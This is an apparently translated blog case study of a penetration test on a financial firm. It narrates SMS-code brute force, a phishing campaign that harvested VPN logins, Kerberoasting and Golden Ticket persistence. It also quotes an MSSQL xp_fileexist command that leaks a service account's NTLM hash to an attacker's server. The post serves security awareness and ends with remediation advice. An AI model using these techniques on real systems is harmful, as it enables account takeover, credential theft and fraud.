Planning and carrying out a pentest of a financial organization is a challenge that requires professionalism and thorough preparation. In our article “Theft with Hacking: Pentest of a Financial Organization”, we will take a detailed look at the process of conducting a pentest to ensure the security of financial institutions. You’ll learn about the most common threats facing financial organizations, such as data breaches, financial fraud, and cyber attacks. Our article will also focus on the importance of collaboration between the pentester team and the financial organization to achieve the best results. We’ll reveal the benefits of pentesting, identify vulnerabilities, and provide recommendations for further security improvements. Do not risk the security of your financial organization. Check out our article Hacking: The Financial Organization Pentest and learn how to make your organization unreachable for attackers and cybercriminals
In this post, we will explain how broken logic, self-written services and graphic passwords can lead to the capture of a company’s network infrastructure, complete loss of money and user data. This is a true story. The events described in the post happened not so long ago. At the request of lawyers, the name was changed. Out of respect for the readers, everything is told as it really was. Bastion was approached by a financial organization with decent turnover and a developed offline infrastructure. The company’s management wanted us to discover and demonstrate vulnerabilities in their online services.
Each pentester in our team has their own chips and approaches, but in general, at this stage, we operate according to the OWASP methodology. We visit each subdomain and carefully review the actions a user can take with the website: from registration, personal messages and comments, to choosing the language of the page. Each of these functions may contain a vulnerability.
Next, we conduct a manual analysis of the components, client and server part of web applications available from the Internet. This is how the attack surface is determined, the software and technologies used that allow you to think through probable attack vectors. It is painstaking work, but it gives results.
An official personal account for customers with authorization by phone number and SMS code has been created on the company’s website. Apparently, the personal account was written from scratch. Therefore, if the phone number is entered incorrectly, the website will directly report that the user is not found. The same thing happens when you try to reset your password. It may seem like a small thing, but it’s a leak. With such a form, it is easy to collect a list of registered users for further attacks, such as account hijacking.
It turned out that the developers of the portal did not set any restrictions on attempts to enter the authorization code. So, knowing the phone number of the active account, it was possible to choose the appropriate code.
It takes about twenty seconds for several streams to sort through the combinations of a four-digit code, a few minutes for a six-digit code. Thus, an attacker could immediately take over someone else’s account and, for example, try to take out a loan.
It was enough to manually edit the from and to parameters in the body of the page. By entering the desired sender and addressee, it was possible to send personal messages on behalf of the site administration. Imagine how you can use such a newsletter – the space for creativity is huge.
We discovered another dangerous vulnerability while studying the list of directories in the personal account. Among them was the support directory. It is logical to assume that she belongs to the support service. And the help desk must have access to administrative functions and resources, because it is needed to help users.
We decided to test how access control works for these functions. To do this, we requested the /support/user directory from under the user account. The web server should have returned a 403 Forbidden error, but it was configured incorrectly.
The server redirected us to the /support – login page. Nothing unusual was visible in the browser, but we scanned the requests through the burp suite, and saw that at the same time the server returned any interesting html constructions.
Then we took a dictionary of 250,000 words and selected queries for which the site gave out confidential information. So, on the /support/page-stat path, csv tables with statistics for several years were falling out, and the cherry on the cake was the login and password for the API of the partner bank.
We still didn’t have the admin password, but a bug in the response logic allowed us to hijack the payments going through the company. Access to the API meant full control over payments, access to input and withdrawal of company funds.
Now about the corporate network. To access it, the company used an external VPN gateway, where only a login/password pair was used for authorization without a 2-FA OTP code. In such cases, attackers often use social engineering to trick them into logging in. In order to assess the readiness of our customers for such attacks, we registered a domain name with the appropriate name and organized a mailing to the e-mail addresses of company employees.
These are help desk emails asking you to login to a new centralized secure remote access portal (phishing of course). In total, we sent over 70 messages. 85% of employees who received the email followed the link and left their VPN details on the site, and two complained of an authorization violation. In general, entering the intranet will not be difficult. We turned to the customer infrastructure research.
First of all, we made a network map using PowerView, PowerSploit, PowerShellMafia. It turned out that we are in a typical corporate network with databases, CRM, ERP and other corporate services. Kerberos was responsible for network authentication in it. Of course, the details of several collected accounts matched the details of accounts on the internal network, although they did not have privileges. These were normal user accounts.
We have now followed the OSSTMM method. To gain domain admin rights, we started looking for accounts that had Kerberos pre-authentication disabled. They are vulnerable to the AS-REP Roasting attack. However, it did nothing. Then we move on to another similar attack – Kerberoasting. The new approach gives us four tickets. Using brute force, you can get two passwords out of four.
These are USER accounts that should only be assigned to real users, not services, but in this case they are sql accounts. Normally, access to MSSQL databases is granted to authorized users in the domain by default. Using the PowerUpSQL tool, we found the database versions that the compromised accounts had access to.
It turned out that in one of them the service was launched on behalf of an account with domain administrator privileges.
Inspection revealed that stored procedures were included on it. This opened up an opportunity to attack MSSQL: UNC Path Injection. The fact is that the xp_fileexist and xp_dirtree stored procedures are available by default in MSSQL databases. They allow users with normal (public) privileges to make remote requests via UNC (\server). At the same time, when accessing a remote resource, the credentials of the service account on whose behalf the database service is started are transferred. This is done for authentication and to check access rights.
We brought up our own file service, made a request like “exec master..xp_fileexist ‘\IP\temp\1.txt’;” and our workstation was left with a Net-Ntlm hash of the service account password.
It can then be attacked using an NTLM relay or brute force. We went the second way and after half an hour of searching with a GeForce GTX 1050 video card we got the password of the domain administrator. Passwords have a rather complex structure. This is the graphic icon in the center of the keyboard. Some people use this password mnemonic technique on purpose, while others use it unintentionally.
It’s the mentality and the convenience of it all. Therefore, characters that are close to each other on the keyboard are often neighbors in the password. Such graphic passwords are easy to remember, seem reliable and easy to type, but unfortunately, they are easy to curse. Especially when tools appeared that automatically generate lists of such passwords.
After gaining access to the administrator account, we created a new account and, using a Golden Ticket attack, gave it hidden domain administrator rights. Such an account provides a hidden anchor in the infrastructure and can wait for years for an attacker to take advantage. And no matter what happens next, we guarantee that the company’s management will not like it.
In this case, there were no vulnerabilities that require special skills to exploit. As it turned out, to hack a financial company, an average level of knowledge in the field of information security is enough. If an attacker were in our position, he would gain access to the finances in a matter of days, and in a week or two, he would have infiltrated the corporate network and grabbed everything he could get his hands on. It’s a wonder this didn’t happen before the pentest.
Employees who do not know the basics of information security made it easier to break into the company’s internal network. The most vulnerable component inside was the default MSSQL database. If stored procedures are not used for work, they should be disabled. In addition, the takeover of the corporate network has been accelerated by dictionary passwords. And it’s not about the company’s bad password policy, but about the fact that the compilers of the dictionaries made a great mistake in their work.
One of the few effective solutions to this problem is the introduction of dictionary password monitoring mechanisms. For example, a similar system is used by Microsoft. We hope that this approach will become more widespread. As for domain security, the risks would be lower if it weren’t for self-writing services. Developers of popular frameworks have already taken care of security in many ways, but when you write from scratch, it is easy to allow the appearance of logical vulnerabilities.
Therefore, before the full launch, it is worth organizing penetration testing of all services, one way or another related to money and valuable data. Another good practice is Secure SDLC – regular security checks integrated into the development process from the start of the project. If the customer had followed these recommendations, the pentest would have been much more difficult and the results would have been better for the company and its customers. Banal advice, but practice shows that they still need to be said.
523 
290 
263 